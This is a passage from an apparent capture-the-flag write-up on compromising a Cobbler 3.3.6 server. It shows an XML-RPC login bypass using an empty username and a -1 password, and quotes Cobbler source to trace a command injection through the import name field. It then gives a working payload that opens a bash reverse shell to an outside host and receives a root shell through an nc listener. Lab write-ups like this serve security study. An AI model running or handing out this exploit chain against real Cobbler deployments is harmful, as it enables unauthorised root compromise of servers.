the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$
...
janne808@kali:/opt/hackthebox/cobblestone$ python3
Python 3.13.14 (main, Jun 10 2026, 18:10:12) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import xmlrpc.client
>>> server = xmlrpc.client.Server("http://127.0.0.1:25151")
>>> token = server.login("",-1)
>>> server.version()
3.306
This confirms that the system is running Cobbler version 3.3.6 and the vulnerability.
This version is also vulnerable to an authenticated command injection vulnerability. Looking at the background_import() method in the CobblerXMLRPCInterface class (in the file /cobbler/cobbler/remote.py):
...
def background_import(self, options: dict, token: str) -> str:
"""
Import an ISO image in the background.
:param options: Not known what this parameter does.
:param token: The API-token obtained via the login() method. The API-token obtained via the login() method.
:return: The id of the task which was started.
"""
def runner(self):
self.remote.api.import_tree(
self.options.get("path", None),
self.options.get("name", None),
self.options.get("available_as", None),
self.options.get("autoinstall_file", None),
self.options.get("rsync_flags", None),
self.options.get("arch", None),
self.options.get("breed", None),
self.options.get("os_version", None),
)
return self.__start_task(runner, token, "import", "Media import", options)
...
The XML-RPC interface calls the API’s import_tree() method. Looking at that method reveals the injection:
...
def import_tree(self, mirror_url: str, mirror_name: str, network_root=None, autoinstall_file=None, rsync_flags=None,
arch=None, breed=None, os_version=None) -> bool:
"""
Automatically import a directory tree full of distribution files.
:param mirror_url: Can be a string that represents a path, a user@host syntax for SSH, or an rsync:// address.
If mirror_url is a filesystem path and mirroring is not desired, set network_root to
something like "nfs://path/to/mirror_url/root"
:param mirror_name: The name of the mirror.
:param network_root:
:param autoinstall_file:
:param rsync_flags:
:param arch:
:param breed:
:param os_version:
"""
self.log("import_tree", [mirror_url, mirror_name, network_root, autoinstall_file, rsync_flags])
# Both --path and --name are required arguments.
if mirror_url is None or not mirror_url:
self.log("import failed. no --path specified")
return False
if mirror_name is None or not mirror_name:
self.log("import failed. no --name specified")
return False
path = os.path.normpath("%s/distro_mirror/%s" % (self.settings().webdir, mirror_name))
if arch is not None:
arch = arch.lower()
if arch == "x86":
# be consistent
arch = "i386"
if path.split("-")[-1] != arch:
path += ("-%s" % arch)
...
else:
# Good, we're going to use rsync.. We don't use SSH for public mirrors and local files.
# Presence of user@host syntax means use SSH
spacer = ""
if not mirror_url.startswith("rsync://") and not mirror_url.startswith("/"):
spacer = ' -e "ssh" '
rsync_cmd = RSYNC_CMD
if rsync_flags:
rsync_cmd += " " + rsync_flags
# If --available-as was specified, limit the files we pull down via rsync to just those that are critical
# to detecting what the distro is
if network_root is not None:
rsync_cmd += " --include-from=/etc/cobbler/import_rsync_whitelist"
# kick off the rsync now
utils.run_this(rsync_cmd, (spacer, mirror_url, path))
...
The mirror_name variable is not sanitized and is concatenated as is to path variable, which is then passed along to the command arguments in the file /cobbler/cobbler/utils.py:
...
def run_this(cmd: str, args: Union[str, tuple]):
"""
A simple wrapper around subprocess calls.
:param cmd: The command to run in a shell process.
:param args: The arguments to attach to the command.
"""
my_cmd = cmd % args
rc = subprocess_call(my_cmd, shell=True)
if rc != 0:
die("Command failed")
...
Running a reverse shell with the injection:
janne808@kali:/opt/hackthebox/cobblestone$ python3
Python 3.13.14 (main, Jun 10 2026, 18:10:12) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import xmlrpc.client
>>> server = xmlrpc.client.Server("http://127.0.0.1:25151")
>>> token = server.login("",-1)
>>> server.background_import({"path":"/tmp/","name":"$(bash -c 'bash -i >& /dev/tcp/10.10.15.126/9001 0>&1')"},token)
'2026-08-19_134951_Media import_34623957defb49e1bad6af5916ee9e01'
...
janne808@kali:/opt/hackthebox/cobblestone$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.15.126] from (UNKNOWN) [10.129.232.170] 46700
bash: cannot set terminal process group (991): Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/#